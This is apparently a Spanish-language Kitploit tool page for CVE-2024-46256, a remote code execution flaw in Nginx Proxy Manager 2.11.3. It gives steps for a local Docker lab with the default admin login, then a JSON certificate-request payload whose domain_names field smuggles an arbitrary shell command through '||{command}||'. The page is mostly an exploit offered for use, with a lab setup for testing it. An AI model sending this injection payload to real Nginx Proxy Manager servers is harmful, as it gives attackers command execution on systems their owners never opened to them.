CVE-2024-46256 — Herramienta CVE-2024-46256 | Kitploit

Compartir

Análisis de la vulnerabilidad RCE CVE-2024-46256 en Nginx Proxy Manager

Configuración del entorno

1. Ejecutar el entorno de Nginx Proxy Manager 2.11.3


docker-compose up -d

O puede usar el script automático:


python setup_environment.py

2. Acceso a Nginx Proxy Manager

URL: http://localhost:81
Realice las pruebas después de completar la configuración inicial.
Inicie sesión con la cuenta de administrador predeterminada (correo electrónico: [email protected] / contraseña: changeme)
Verifique los permisos de acceso a las funciones relacionadas con la emisión de certificados.

Información de la vulnerabilidad

CVE ID: CVE-2024-46256

Descargar herramienta

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}